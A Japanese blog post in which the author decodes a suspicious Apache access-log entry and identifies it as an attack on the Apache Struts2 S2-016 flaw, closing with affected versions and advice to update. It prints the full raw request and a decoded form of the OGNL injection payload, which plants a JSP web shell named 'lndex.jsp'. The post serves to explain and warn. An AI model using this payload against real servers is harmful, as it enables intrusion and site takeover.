apacheのaccess_logにjavaのソースコードみたいなアクセスが記録されていた。(Struts2の脆弱性S2-016への攻撃)
さっきのapache killerの話を書いたあとでapacheのアクセスログを見ていたら、こんなアクセスが。
xx.xx.xx.xx [01/Jul/2015:03:09:11 +0900] "GET /index.php?redirect:$%%7b%%2523req%%253d%%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%%2523res%%253d%%2523context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%%2523res.getWriter().println(%%2522okokok%%2522),%%2523res.getWriter().flush(),%%2523res.getWriter().close(),new+java.io.BufferedWriter(new+java.io.FileWriter(%%2523req.getRealPath(%%2522/%%2522)%%252b%%2522lndex.jsp%%2522)).append(%%2523req.getParameter(%%2522shell%%2522)).close()%%7d&shell=%%253C%%2525if(request.getParameter(%%2522f%%2522)!%%253Dnull)(new%%2520java.io.FileOutputStream(application.getRealPath(%%2522%%252F%%2522)%%252Brequest.getParameter(%%2522f%%2522))).write(request.getParameter(%%2522t%%2522).getBytes())%%253B%%2525%%253E%%253Ca%%2520href%%253D%%2522One_OK%%2522%%253E%%253C%%252Fa%%253E HTTP/1.1" 404 2583 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"
なんじゃこりゃ。むっちゃ長い。
どうもプログラムのコードをそのまんま突っ込んであるようなので、バラしてみました。
redirect: ${ #req = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), #res = #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), #res.getWriter().println("okokok"), #res.getWriter().flush(), #res.getWriter().close(), new java.io.BufferedWriter( new java.io.FileWriter( #req.getRealPath("/") + "lndex.jsp" ) ).append(#req.getParameter("shell")).close() } &shell = <%% if(request.getParameter("f") != null) ( new java.io.FileOutputStream(application.getRealPath("/") + request.getParameter("f")) ).write(request.getParameter("t").getBytes()); %%> <a href="One_OK"></a>
こんな感じになった。 javaだよjava。javaが埋めこまれている。
調べてみると、どうやらSturts2とやらが関連するようです? Sturts2というのはjavaでwebアプリケーションを記述するためのフレームワークとのこと。Apacheが作っているらしい。 で、今回問題になるのはS2-016という脆弱性。Apache Struts 2 DocumentationのS2-016のページを見てみると、確かに似たような雰囲気のURIのサンプルが載っている。
脆弱性の内容としては、クエリにredirect:
から始まる何かを書いたURIでGETすると、任意のソースを実行できてしまう、というもののようです。
バラしたURIを上に書きましたが、Javaのコードをそのまんま書いて、そのまんま実行するっぽい。
うーむ、くわばらくわばら。
影響をうけるのはStrutsの2.0.0から2.3.15とのこと。 Struts2を利用しているのなら要アップデート、ですかね。
参考: